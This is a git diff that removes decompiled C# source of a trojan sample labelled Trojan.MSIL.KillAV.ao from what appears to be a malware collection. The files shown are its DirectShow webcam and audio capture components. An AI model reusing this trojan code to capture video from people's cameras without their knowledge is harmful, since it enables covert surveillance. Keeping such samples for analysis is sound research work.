this.firstFrame = false; - this.assertStopped(); - this.wantCaptureRendered = true; - this.renderStream = true; - this.renderGraph(); - int errorCode = this.mediaControl.Run(); - if (errorCode != 0) - Marshal.ThrowExceptionForHR(errorCode); - this.graphState = DirectX.Capture.Capture.GraphState.Capturing; - } - - public void Stop() - { - if (this.mediaControl != null) - this.mediaControl.Stop(); - this.wantCaptureRendered = false; - this.wantPreviewRendered = true; - if (this.graphState == DirectX.Capture.Capture.GraphState.Capturing) - { - this.graphState = DirectX.Capture.Capture.GraphState.Rendered; - if (this.CaptureComplete != null) - this.CaptureComplete((object) this, (EventArgs) null); - } - this.firstFrame = true; - this.renderStream = false; - try - { - this.renderGraph(); - } - catch - { - } - try - { - this.startPreviewIfNeeded(); - } - catch - { - } - } - - public void DisposeCapture() - { - this.wantPreviewRendered = false; - this.wantCaptureRendered = false; - this.CaptureComplete = (EventHandler) null; - try - { - this.destroyGraph(); - } - catch - { - } - if (this.videoSources != null) - this.videoSources.Dispose(); - this.videoSources = (SourceCollection) null; - if (this.audioSources != null) - this.audioSources.Dispose(); - this.audioSources = (SourceCollection) null; - } - - [STAThread] - public void CaptureFrame() - { - int num; - if (this.firstFrame) - { - this.assertStopped(); - this.renderStream = true; - this.renderGraph(); - num = this.mediaControl.Run(); - this.firstFrame = false; - } - this.captured = false; - if (this.savedArray == null) - { - int imageSize = this.videoInfoHeader.BmiHeader.ImageSize; - if (imageSize < 1000 || imageSize > 16000000) - return; - this.savedArray = new byte[imageSize + 64000]; - } - num = this.sampGrabber.SetCallback((ISampleGrabberCB) this, 1); - } - - public void RenderPreview() - { - this.assertStopped(); - this.renderStream = true; - this.renderGraph(); - this.mediaControl.Run(); - } - - protected void createGraph() - { - object obj = (object) null; - if (this.graphState >= DirectX.Capture.Capture.GraphState.Created) - return; - GC.Collect(); - this.graphBuilder = (IGraphBuilder) Activator.CreateInstance(System.Type.GetTypeFromCLSID(Clsid.FilterGraph, true)); - Guid captureGraphBuilder2 = Clsid.CaptureGraphBuilder2; - Guid guid1 = typeof (ICaptureGraphBuilder2).GUID; - this.captureGraphBuilder = (ICaptureGraphBuilder2) DsBugWO.CreateDsInstance(ref captureGraphBuilder2, ref guid1); - this.sampGrabber = (ISampleGrabber) Activator.CreateInstance(System.Type.GetTypeFromCLSID(Clsid.SampleGrabber, true)); - obj = (object) null; - int errorCode1 = this.captureGraphBuilder.SetFiltergraph(this.graphBuilder); - if (errorCode1 < 0) - Marshal.ThrowExceptionForHR(errorCode1); - int errorCode2 = this.sampGrabber.SetMediaType(new AMMediaType() - { - majorType = MediaType.Video, - subType = MediaSubType.RGB24, - formatType = FormatType.VideoInfo - }); - if (errorCode2 < 0) - Marshal.ThrowExceptionForHR(errorCode2); - if (this.VideoDevice != null) - { - this.videoDeviceFilter = (IBaseFilter) Marshal.BindToMoniker(this.VideoDevice.MonikerString); - int errorCode3 = this.graphBuilder.AddFilter(this.videoDeviceFilter, "Video Capture Device"); - if (errorCode3 < 0) - Marshal.ThrowExceptionForHR(errorCode3); - this.mediaEvt = (IMediaEventEx) this.graphBuilder; - this.baseGrabFlt = (IBaseFilter) this.sampGrabber; - int errorCode4 = this.graphBuilder.AddFilter(this.baseGrabFlt, "DS.NET Grabber"); - if (errorCode4 < 0) - Marshal.ThrowExceptionForHR(errorCode4); - } - if (this.AudioDevice != null) - { - this.audioDeviceFilter = (IBaseFilter) Marshal.BindToMoniker(this.AudioDevice.MonikerString); - int errorCode5 = this.graphBuilder.AddFilter(this.audioDeviceFilter, "Audio Capture Device"); - if (errorCode5 < 0) - Marshal.ThrowExceptionForHR(errorCode5); - } - if (this.VideoCompressor != null) - { - this.videoCompressorFilter = (IBaseFilter) Marshal.BindToMoniker(this.VideoCompressor.MonikerString); - int errorCode6 = this.graphBuilder.AddFilter(this.videoCompressorFilter, "Video Compressor"); - if (errorCode6 < 0) - Marshal.ThrowExceptionForHR(errorCode6); - } - if (this.AudioCompressor != null) - { - this.audioCompressorFilter = (IBaseFilter) Marshal.BindToMoniker(this.AudioCompressor.MonikerString); - int errorCode7 = this.graphBuilder.AddFilter(this.audioCompressorFilter, "Audio Compressor"); - if (errorCode7 < 0) - Marshal.ThrowExceptionForHR(errorCode7); - } - Guid capture1 = PinCategory.Capture; - Guid pType = MediaType.Interleaved; - Guid guid2 = typeof (IAMStreamConfig).GUID; - object ppint; - if (this.captureGraphBuilder.FindInterface(ref capture1, ref pType, this.videoDeviceFilter, ref guid2, out ppint) != 0) - { - pType = MediaType.Video; - if (this.captureGraphBuilder.FindInterface(ref capture1, ref pType, this.videoDeviceFilter, ref guid2, out ppint) != 0) - ppint = (object) null; - } - this.videoStreamConfig = ppint as IAMStreamConfig; - ppint = (object) null; - Guid capture2 = PinCategory.Capture; - pType = MediaType.Audio; - guid2 = typeof (IAMStreamConfig).GUID; - if (this.captureGraphBuilder.FindInterface(ref capture2, ref pType, this.audioDeviceFilter, ref guid2, out ppint) != 0) - ppint = (object) null; - this.audioStreamConfig = ppint as IAMStreamConfig; - this.mediaControl = (IMediaControl) this.graphBuilder; - if (this.videoSources != null) - this.videoSources.Dispose(); - this.videoSources = (SourceCollection) null; - if (this.audioSources != null) - this.audioSources.Dispose(); - this.audioSources = (SourceCollection) null; - if (this.propertyPages != null) - this.propertyPages.Dispose(); - this.propertyPages = (PropertyPageCollection) null; - this.videoCaps = (VideoCapabilities) null; - this.audioCaps = (AudioCapabilities) null; - ppint = (object) null; - capture2 = PinCategory.Capture; - pType = MediaType.Interleaved; - guid2 = typeof (IAMTVTuner).GUID; - if (this.captureGraphBuilder.FindInterface(ref capture2, ref pType, this.videoDeviceFilter, ref guid2, out ppint) != 0) - { - pType = MediaType.Video; - if (this.captureGraphBuilder.FindInterface(ref capture2, ref pType, this.videoDeviceFilter, ref guid2, out ppint) != 0) - ppint = (object) null; - } - if (ppint is IAMTVTuner tuner) - this.tuner = new Tuner(tuner); - this.graphState = DirectX.Capture.Capture.GraphState.Created; - } - - protected void renderGraph() - { - bool flag = false; - this.assertStopped(); - if (this.mediaControl != null) - this.mediaControl.Stop(); - this.createGraph(); - if (!this.wantPreviewRendered && this.isPreviewRendered) - this.derenderGraph(); - if (!this.wantCaptureRendered && this.isCaptureRendered && this.wantPreviewRendered) - { - this.derenderGraph(); - this.graphState = DirectX.Capture.Capture.GraphState.Null; - this.createGraph(); - } - int num1; - Guid pCategory; - if (this.wantCaptureRendered && !this.isCaptureRendered) - { - Guid avi = MediaSubType.Avi; - num1 = this.captureGraphBuilder.SetOutputFileName(ref avi, this.Filename, out this.muxFilter, out this.fileWriterFilter); - if (this.VideoDevice != null) - { - pCategory = PinCategory.Capture; - Guid interleaved = MediaType.Interleaved; - if (this.captureGraphBuilder.RenderStream(ref pCategory, ref interleaved, (object) this.videoDeviceFilter, this.videoCompressorFilter, this.muxFilter) < 0) - { - Guid video = MediaType.Video; - num1 = this.captureGraphBuilder.RenderStream(ref pCategory, ref video, (object) this.videoDeviceFilter, this.videoCompressorFilter, this.muxFilter); - } - } - if (this.AudioDevice != null) - { - pCategory = PinCategory.Capture; - Guid audio = MediaType.Audio; - num1 = this.captureGraphBuilder.RenderStream(ref pCategory, ref audio, (object) this.audioDeviceFilter, this.audioCompressorFilter, this.muxFilter); - } - this.isCaptureRendered = true; - flag = true; - } - if (this.wantPreviewRendered && this.renderStream && !this.isPreviewRendered) - { - pCategory = PinCategory.Preview; - Guid video = MediaType.Video; - num1 = this.captureGraphBuilder.RenderStream(ref pCategory, ref video, (object) this.videoDeviceFilter, this.baseGrabFlt, (IBaseFilter) null); - this.videoWindow = (IVideoWindow) this.graphBuilder; - num1 = this.videoWindow.put_Owner(this.previewWindow.Handle); - num1 = this.videoWindow.put_WindowStyle(1174405120); - this.previewWindow.Resize += new EventHandler(this.onPreviewWindowResize); - this.onPreviewWindowResize((object) this, (EventArgs) null); - num1 = this.videoWindow.put_Visible(-1); - num1 = this.mediaEvt.SetNotifyWindow(this.Handle, 32769, IntPtr.Zero); - this.isPreviewRendered = true; - flag = true; - AMMediaType pmt = new AMMediaType(); - num1 = this.sampGrabber.GetConnectedMediaType(pmt); - this.videoInfoHeader = (VideoInfoHeader) Marshal.PtrToStructure(pmt.formatPtr, typeof (VideoInfoHeader)); - Marshal.FreeCoTaskMem(pmt.formatPtr); - pmt.formatPtr = IntPtr.Zero; - int num2 = this.sampGrabber.SetBufferSamples(false); - if (num2 == 0) - num2 = this.sampGrabber.SetOneShot(false); - if (num2 == 0) - num2 = this.sampGrabber.SetCallback((ISampleGrabberCB) null, 0); - if (num2 < 0) - num1 = 0; - } - if (!flag) - return; - this.graphState = DirectX.Capture.Capture.GraphState.Rendered; - } - - protected void startPreviewIfNeeded() - { - if (!this.wantPreviewRendered || !this.isPreviewRendered || this.isCaptureRendered) - return; - this.mediaControl.Run(); - } - - protected void derenderGraph() - { - if (this.mediaControl != null) - this.mediaControl.Stop(); - if (this.videoWindow != null) - { - this.videoWindow.put_Visible(0); - this.videoWindow.put_Owner(IntPtr.Zero); - this.videoWindow = (IVideoWindow) null; - } - if (this.PreviewWindow != null) - this.previewWindow.Resize -= new EventHandler(this.onPreviewWindowResize); - if (this.graphState < DirectX.Capture.Capture.GraphState.Rendered) - return; - this.graphState = DirectX.Capture.Capture.GraphState.Created; - this.isCaptureRendered = false; - this.isPreviewRendered = false; - if (this.videoDeviceFilter != null) - this.removeDownstream(this.videoDeviceFilter, this.videoCompressor == null); - if (this.audioDeviceFilter != null) - this.removeDownstream(this.audioDeviceFilter, this.audioCompressor == null); - this.muxFilter = (IBaseFilter) null; - this.fileWriterFilter = (IFileSinkFilter) null; - this.baseGrabFlt = (IBaseFilter) null; - } - - protected void removeDownstream(IBaseFilter filter, bool removeFirstFilter) - { - IEnumPins ppEnum; - int num1 = filter.EnumPins(out ppEnum); - ppEnum.Reset(); - if (num1 != 0 || ppEnum == null) - return; - IPin[] ppPins = new IPin[1]; - int num2; - do - { - num2 = ppEnum.Next(1, ppPins, out int _); - if (num2 == 0 && ppPins[0] != null) - { - IPin ppPin = (IPin) null; - ppPins[0].ConnectedTo(out ppPin); - if (ppPin != null) - { - PinInfo pInfo = new PinInfo(); - num2 = ppPin.QueryPinInfo(out pInfo); - if (num2 == 0 && pInfo.dir == PinDirection.Input) - { - this.removeDownstream(pInfo.filter, true); - this.graphBuilder.Disconnect(ppPin); - this.graphBuilder.Disconnect(ppPins[0]); - if (pInfo.filter != this.videoCompressorFilter && pInfo.filter != this.audioCompressorFilter) - this.graphBuilder.RemoveFilter(pInfo.filter); - } - Marshal.ReleaseComObject((object) pInfo.filter); - Marshal.ReleaseComObject((object) ppPin); - } - Marshal.ReleaseComObject((object) ppPins[0]); - } - } - while (num2 == 0); - Marshal.ReleaseComObject((object) ppEnum); - } - - protected void destroyGraph() - { - try - { - this.derenderGraph(); - } - catch - { - } - this.graphState = DirectX.Capture.Capture.GraphState.Null; - this.isCaptureRendered = false; - this.isPreviewRendered = false; - if (this.rotCookie != 0) - { - DsROT.RemoveGraphFromRot(ref this.rotCookie); - this.rotCookie = 0; - } - if (this.muxFilter != null) - this.graphBuilder.RemoveFilter(this.muxFilter); - if (this.baseGrabFlt != null) - this.graphBuilder.RemoveFilter(this.baseGrabFlt); - if (this.videoCompressorFilter != null) - this.graphBuilder.RemoveFilter(this.videoCompressorFilter); - if (this.audioCompressorFilter != null) - this.graphBuilder.RemoveFilter(this.audioCompressorFilter); - if (this.videoDeviceFilter != null) - this.graphBuilder.RemoveFilter(this.videoDeviceFilter); - if (this.audioDeviceFilter != null) - this.graphBuilder.RemoveFilter(this.audioDeviceFilter); - if (this.videoSources != null) - this.videoSources.Dispose(); - this.videoSources = (SourceCollection) null; - if (this.audioSources != null) - this.audioSources.Dispose(); - this.audioSources = (SourceCollection) null; - if (this.propertyPages != null) - this.propertyPages.Dispose(); - this.propertyPages = (PropertyPageCollection) null; - if (this.tuner != null) - this.tuner.Dispose(); - this.tuner = (Tuner) null; - if (this.graphBuilder != null) - Marshal.ReleaseComObject((object) this.graphBuilder); - this.graphBuilder = (IGraphBuilder) null; - if (this.captureGraphBuilder != null) - Marshal.ReleaseComObject((object) this.captureGraphBuilder); - this.captureGraphBuilder = (ICaptureGraphBuilder2) null; - if (this.muxFilter != null) - Marshal.ReleaseComObject((object) this.muxFilter); - this.muxFilter = (IBaseFilter) null; - if (this.baseGrabFlt != null) - Marshal.ReleaseComObject((object) this.baseGrabFlt); - this.baseGrabFlt = (IBaseFilter) null; - if (this.fileWriterFilter != null) - Marshal.ReleaseComObject((object) this.fileWriterFilter); - this.fileWriterFilter = (IFileSinkFilter) null; - if (this.videoDeviceFilter != null) - Marshal.ReleaseComObject((object) this.videoDeviceFilter); - this.videoDeviceFilter = (IBaseFilter) null; - if (this.audioDeviceFilter != null) - Marshal.ReleaseComObject((object) this.audioDeviceFilter); - this.audioDeviceFilter = (IBaseFilter) null; - if (this.videoCompressorFilter != null) - Marshal.ReleaseComObject((object) this.videoCompressorFilter); - this.videoCompressorFilter = (IBaseFilter) null; - if (this.audioCompressorFilter != null) - Marshal.ReleaseComObject((object) this.audioCompressorFilter); - this.audioCompressorFilter = (IBaseFilter) null; - this.mediaControl = (IMediaControl) null; - this.videoWindow = (IVideoWindow) null; - GC.Collect(); - } - - protected void onPreviewWindowResize(object sender, EventArgs e) - { - if (this.videoWindow == null) - return; - Rectangle clientRectangle = this.previewWindow.ClientRectangle; - this.videoWindow.SetWindowPosition(0, 0, clientRectangle.Right, clientRectangle.Bottom); - } - - protected string getTempFilename() - { - string path; - try - { - int num1 = 0; - Random random = new Random(); - string tempPath = Path.GetTempPath(); - do - { - int num2 = random.Next(); - path = Path.Combine(tempPath, num2.ToString("X") + ".avi"); - ++num1; - } - while (num1 <= 100 && File.Exists(path)); - return path; - } - catch - { - path = "c:\temp.avi"; - } - return path; - } - - protected object getStreamConfigSetting(IAMStreamConfig streamConfig, string fieldName) - { - if (streamConfig == null) - throw new NotSupportedException(); - this.assertStopped(); - this.derenderGraph(); - object streamConfigSetting = (object) null; - IntPtr pmt = IntPtr.Zero; - AMMediaType amMediaType = new AMMediaType(); - try - { - streamConfig.GetFormat(out pmt); - Marshal.PtrToStructure(pmt, (object) amMediaType); - object structure = (object) null; - if (amMediaType.formatType == FormatType.WaveEx) - structure = (object) new WaveFormatEx(); - else if (amMediaType.formatType == FormatType.VideoInfo) - structure = (object) new VideoInfoHeader(); - else if (amMediaType.formatType == FormatType.VideoInfo2) - structure = (object) new VideoInfoHeader2(); - Marshal.PtrToStructure(amMediaType.formatPtr, structure); - streamConfigSetting = structure.GetType().GetField(fieldName).GetValue(structure); - } - finally - { - DsUtils.FreeAMMediaType(amMediaType); - Marshal.FreeCoTaskMem(pmt); - } - this.renderStream = false; - this.renderGraph(); - this.startPreviewIfNeeded(); - return streamConfigSetting; - } - - protected object setStreamConfigSetting( - IAMStreamConfig streamConfig, - string fieldName, - object newValue) - { - if (streamConfig == null) - throw new NotSupportedException(); - this.assertStopped(); - this.derenderGraph(); - object obj = (object) null; - IntPtr pmt = IntPtr.Zero; - AMMediaType amMediaType = new AMMediaType(); - try - { - int num = streamConfig.GetFormat(out pmt); - Marshal.PtrToStructure(pmt, (object) amMediaType); - object structure = (object) null; - if (amMediaType.formatType == FormatType.WaveEx) - structure = (object) new WaveFormatEx(); - else if (amMediaType.formatType == FormatType.VideoInfo) - structure = (object) new VideoInfoHeader(); - else if (amMediaType.formatType == FormatType.VideoInfo2) - structure = (object) new VideoInfoHeader2(); - Marshal.PtrToStructure(amMediaType.formatPtr, structure); - FieldInfo field = structure.GetType().GetField(fieldName); - if ((object) field == null) - field.SetValue(structure, newValue); - Marshal.StructureToPtr(structure, amMediaType.formatPtr, false); - num = streamConfig.SetFormat(amMediaType); - } - finally - { - DsUtils.FreeAMMediaType(amMediaType); - Marshal.FreeCoTaskMem(pmt); - } - this.renderStream = false; - this.renderGraph(); - this.startPreviewIfNeeded(); - return obj; - } - - protected void assertStopped() - { - if (this.Stopped) - ; - } - - private void OnCaptureDone() - { - if (this.sampGrabber == null) - return; - this.sampGrabber.SetCallback((ISampleGrabberCB) null, 0); - int width = this.videoInfoHeader.BmiHeader.Width; - int height = this.videoInfoHeader.BmiHeader.Height; - if ((width & 3) != 0 || width < 32 || width > 4096 || height < 32 || height > 4096) - return; - int num = width * 3; - GCHandle gcHandle = GCHandle.Alloc((object) this.savedArray, GCHandleType.Pinned); - int scan0 = (int) gcHandle.AddrOfPinnedObject() + (height - 1) * num; - Bitmap bitmap = new Bitmap(width, height, -num, PixelFormat.Format24bppRgb, (IntPtr) scan0); - gcHandle.Free(); - this.savedArray = (byte[]) null; - this.ImageCaptured.Image = (Image) bitmap; - this.FrameCaptureComplete(this.ImageCaptured); - } - - protected override void WndProc(ref Message m) - { - if (m.Msg == 32769) - { - if (this.mediaEvt == null) - return; - this.OnGraphNotify(); - } - else - base.WndProc(ref m); - } - - private void OnGraphNotify() - { - DsEvCode lEventCode; - int lParam1; - int lParam2; - do - ; - while (this.mediaEvt.GetEvent(out lEventCode, out lParam1, out lParam2, 0) >= 0 && this.mediaEvt.FreeEventParams(lEventCode, lParam1, lParam2) == 0); - } - - int ISampleGrabberCB.SampleCB(double SampleTime, IMediaSample pSample) => 0; - - int ISampleGrabberCB.BufferCB(double SampleTime, IntPtr pBuffer, int BufferLen) - { - if (this.captured || this.savedArray == null) - return 0; - this.captured = true; - this.bufferedSize = BufferLen; - if (pBuffer != IntPtr.Zero && BufferLen > 1000 && BufferLen <= this.savedArray.Length) - Marshal.Copy(pBuffer, this.savedArray, 0, BufferLen); - try - { - this.BeginInvoke((Delegate) new DirectX.Capture.Capture.CaptureDone(this.OnCaptureDone)); - } - catch (ThreadInterruptedException ex) - { - } - catch (Exception ex) - { - } - return 0; - } - - private void InitializeComponent() - { - this.SuspendLayout(); - this.ClientSize = new Size(284, 264); - this.Name = nameof (Capture); - this.Load += new EventHandler(this.Capture_Load); - this.ResumeLayout(false); - } - - private void Capture_Load(object sender, EventArgs e) - { - } - - protected enum GraphState - { - Null, - Created, - Rendered, - Capturing, - } - - public delegate void FrameCapHandler(PictureBox Frame); - - private delegate void CaptureDone(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Capture.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Capture.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Capture.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/CrossbarSource.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/CrossbarSource.cs deleted file mode 100644 index dd6f19a2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/CrossbarSource.cs +++ /dev/null @@ -1,141 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.CrossbarSource -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class CrossbarSource : Source - { - internal IAMCrossbar Crossbar; - internal int OutputPin; - internal int InputPin; - internal PhysicalConnectorType ConnectorType; - - public override bool Enabled - { - get - { - int InputPinIndex; - return this.Crossbar.get_IsRoutedTo(this.OutputPin, out InputPinIndex) == 0 && this.InputPin == InputPinIndex; - } - set - { - int num; - if (value) - num = this.Crossbar.Route(this.OutputPin, this.InputPin); - else - num = this.Crossbar.Route(this.OutputPin, -1); - } - } - - internal CrossbarSource( - IAMCrossbar crossbar, - int outputPin, - int inputPin, - PhysicalConnectorType connectorType) - { - this.Crossbar = crossbar; - this.OutputPin = outputPin; - this.InputPin = inputPin; - this.ConnectorType = connectorType; - this.name = this.getName(connectorType); - } - - private string getName(PhysicalConnectorType connectorType) - { - string name; - switch (connectorType) - { - case PhysicalConnectorType.Video_Tuner: - name = "Video Tuner"; - break; - case PhysicalConnectorType.Video_Composite: - name = "Video Composite"; - break; - case PhysicalConnectorType.Video_SVideo: - name = "Video S-Video"; - break; - case PhysicalConnectorType.Video_RGB: - name = "Video RGB"; - break; - case PhysicalConnectorType.Video_YRYBY: - name = "Video YRYBY"; - break; - case PhysicalConnectorType.Video_SerialDigital: - name = "Video Serial Digital"; - break; - case PhysicalConnectorType.Video_ParallelDigital: - name = "Video Parallel Digital"; - break; - case PhysicalConnectorType.Video_SCSI: - name = "Video SCSI"; - break; - case PhysicalConnectorType.Video_AUX: - name = "Video AUX"; - break; - case PhysicalConnectorType.Video_1394: - name = "Video Firewire"; - break; - case PhysicalConnectorType.Video_USB: - name = "Video USB"; - break; - case PhysicalConnectorType.Video_VideoDecoder: - name = "Video Decoder"; - break; - case PhysicalConnectorType.Video_VideoEncoder: - name = "Video Encoder"; - break; - case PhysicalConnectorType.Video_SCART: - name = "Video SCART"; - break; - case PhysicalConnectorType.Audio_Tuner: - name = "Audio Tuner"; - break; - case PhysicalConnectorType.Audio_Line: - name = "Audio Line In"; - break; - case PhysicalConnectorType.Audio_Mic: - name = "Audio Mic"; - break; - case PhysicalConnectorType.Audio_AESDigital: - name = "Audio AES Digital"; - break; - case PhysicalConnectorType.Audio_SPDIFDigital: - name = "Audio SPDIF Digital"; - break; - case PhysicalConnectorType.Audio_SCSI: - name = "Audio SCSI"; - break; - case PhysicalConnectorType.Audio_AUX: - name = "Audio AUX"; - break; - case PhysicalConnectorType.Audio_1394: - name = "Audio Firewire"; - break; - case PhysicalConnectorType.Audio_USB: - name = "Audio USB"; - break; - case PhysicalConnectorType.Audio_AudioDecoder: - name = "Audio Decoder"; - break; - default: - name = "Unknown Connector"; - break; - } - return name; - } - - public override void Dispose() - { - if (this.Crossbar != null) - Marshal.ReleaseComObject((object) this.Crossbar); - this.Crossbar = (IAMCrossbar) null; - base.Dispose(); - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/DeviceInUseException.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/DeviceInUseException.cs deleted file mode 100644 index f475a2ac..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/DeviceInUseException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.DeviceInUseException -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; - -namespace DirectX.Capture -{ - public class DeviceInUseException : SystemException - { - public DeviceInUseException(string deviceName, int hResult) - : base(deviceName + " is in use or cannot be rendered. (" + (object) hResult + ")") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/DirectShowPropertyPage.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/DirectShowPropertyPage.cs deleted file mode 100644 index 5e601a01..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/DirectShowPropertyPage.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.DirectShowPropertyPage -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace DirectX.Capture -{ - public class DirectShowPropertyPage : PropertyPage - { - protected DShowNET.ISpecifyPropertyPages specifyPropertyPages; - - public DirectShowPropertyPage(string name, DShowNET.ISpecifyPropertyPages specifyPropertyPages) - { - this.Name = name; - this.SupportsPersisting = false; - this.specifyPropertyPages = specifyPropertyPages; - } - - public override void Show(Control owner) - { - DsCAUUID pPages = new DsCAUUID(); - try - { - int num = this.specifyPropertyPages.GetPages(out pPages); - object specifyPropertyPages = (object) this.specifyPropertyPages; - num = DirectShowPropertyPage.OleCreatePropertyFrame(owner.Handle, 30, 30, (string) null, 1, ref specifyPropertyPages, pPages.cElems, pPages.pElems, 0, 0, IntPtr.Zero); - } - finally - { - if (pPages.pElems != IntPtr.Zero) - Marshal.FreeCoTaskMem(pPages.pElems); - } - } - - public new void Dispose() - { - if (this.specifyPropertyPages != null) - Marshal.ReleaseComObject((object) this.specifyPropertyPages); - this.specifyPropertyPages = (DShowNET.ISpecifyPropertyPages) null; - } - - [DllImport("olepro32.dll", CharSet = CharSet.Unicode)] - private static extern int OleCreatePropertyFrame( - IntPtr hwndOwner, - int x, - int y, - string lpszCaption, - int cObjects, - [MarshalAs(UnmanagedType.Interface), In] ref object ppUnk, - int cPages, - IntPtr pPageClsID, - int lcid, - int dwReserved, - IntPtr pvReserved); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Filter.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Filter.cs deleted file mode 100644 index 88af582d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Filter.cs +++ /dev/null @@ -1,111 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Filter -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using DShowNET.Device; -using System; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class Filter : IComparable - { - public string Name; - public string MonikerString; - - public Filter(string monikerString) - { - this.Name = this.getName(monikerString); - this.MonikerString = monikerString; - } - - internal Filter(UCOMIMoniker moniker) - { - this.Name = this.getName(moniker); - this.MonikerString = this.getMonikerString(moniker); - } - - protected string getMonikerString(UCOMIMoniker moniker) - { - string ppszDisplayName; - moniker.GetDisplayName((UCOMIBindCtx) null, (UCOMIMoniker) null, out ppszDisplayName); - return ppszDisplayName; - } - - protected string getName(UCOMIMoniker moniker) - { - object ppvObj = (object) null; - IPropertyBag propertyBag1 = (IPropertyBag) null; - try - { - Guid guid = typeof (IPropertyBag).GUID; - moniker.BindToStorage((UCOMIBindCtx) null, (UCOMIMoniker) null, ref guid, out ppvObj); - IPropertyBag propertyBag2 = (IPropertyBag) ppvObj; - object pVar = (object) ""; - int errorCode = propertyBag2.Read("FriendlyName", ref pVar, IntPtr.Zero); - if (errorCode != 0) - Marshal.ThrowExceptionForHR(errorCode); - return pVar as string; - } - catch (Exception ex) - { - return ""; - } - finally - { - propertyBag1 = (IPropertyBag) null; - if (ppvObj != null) - 